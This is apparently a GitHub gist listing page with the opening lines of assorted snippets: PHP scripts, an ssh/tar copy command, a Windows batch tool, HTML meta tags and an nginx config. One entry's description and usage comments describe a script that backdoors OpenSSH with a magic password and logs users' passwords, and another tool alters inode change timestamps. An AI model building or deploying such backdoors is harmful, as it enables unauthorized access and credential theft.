Skip to content

Instantly share code, notes, and snippets.

View eyecatchup's full-sized avatar

Stephan Schmitz eyecatchup

View GitHub Profile
@eyecatchup
eyecatchup / watchAndroid44Nexus5.cronjob.php
Last active December 25, 2015 17:59
Automated Android 4.4 Kitkat / Nexus 5 / Factory Image Release email alert.
<?php
ini_set('max_execution_time', 600);
if (!ini_get('date.timezone') && function_exists('date_default_timezone_set')) {
date_default_timezone_set('UTC'); // You may change this (eg 'Europe/Berlin').
}
/**
* Android 4.4 Kitkat / Nexus 5 / Factory Image Release email alert cronjob script.
*
* 1. Download this script.
@eyecatchup
eyecatchup / ssh-tar.txt
Created November 5, 2013 17:54
Wicket trick to directly copy data from the "machine-where-precious-data-is" to the machine you are working on, using the benefits of tar (preserving permissions, links, etc) but not being hindered by the difficulties of tar. (making these possibly large files and so on.) - @author: http://meinit.nl/using-tar-and-ssh-to-efficiently-copy-files-pr…
ssh user@machine-where-precious-data-is "tar czpf - /some/important/data" | tar xzpf - -C /new/root/directory
@eyecatchup
eyecatchup / which.bat
Created November 18, 2013 14:39
`which` for Win
::WHICH.BAT CommandName [ReturnVar]
::
:: Determines the full path of the file that would execute if
:: CommandName were executed.
::
:: The result is stored in variable ReturnVar, or else it is
:: echoed to stdout if ReturnVar is not specified.
::
:: If no file is found, then an error message is echoed to stderr.
::
@eyecatchup
eyecatchup / openssh-autobackdoor.bash
Created December 5, 2013 22:51
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
#!/bin/bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# [email protected]
# ============================================
# USAGE:
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
@eyecatchup
eyecatchup / touch2.c
Created December 5, 2013 22:53
Revert last-inode-change change from touch
/*
* touch2 v2.0
* Change last-inode-change times on files
*
* (c) 2002, 2005, 2006 by Ighighi (ighighi at gmail dot com)
* Venezuela
*
* BSD License
*
* DISCLAIMER: USE AT YOUR OWN RISK. I'M NOT RESPONSIBLE FOR ANYTHING!

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta charset='UTF-8'>
<meta name='keywords' content='your, tags'>
<meta name='description' content='150 words'>
<meta name='subject' content='your website's subject'>
<meta name='copyright' content='company name'>

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta name="keywords" content="your, tags"/>
<meta name="description" content="150 words"/>
<meta name="subject" content="your website's subject">
<meta name="copyright"content="company name">
<meta name="language" content="ES">
@eyecatchup
eyecatchup / splitStreetNameNumber.php
Created January 16, 2014 08:07
PHP function to get an array with indexes 'name' and 'num' from a string containing a street name and number.
<?php
/**
* Takes a string containing a (german) street name and number and
* returns an array with indexes 'name' (containing the street name)
* and 'num' (containing the street number). If no match is found,
* return value is boolean 'false'.
*/
function splitStreetNameNumber($str, $numRequired = false) {
$str = trim($str);
@eyecatchup
eyecatchup / GetPlusOnesByURL.php
Last active February 13, 2024 16:39
Several PHP functions to get the +1 count from Google+ users for a given URL.
<?php
/**
* GetPlusOnesByURL()
*
* Get the numeric, total count of +1s from Google+ users for a given URL.
*
* Example usage:
* <code>
* $url = 'http://www.facebook.com/';
* printf("The URL '%s' received %s +1s from Google+ users.", $url, GetPlusOnesByURL($url));
# for ngxin version 1.0.4+
server {
server_name vanilla.localhost;
root /var/www/vanilla;
# cleaner logs
#
location = /favicon.ico {
log_not_found off;
access_log off;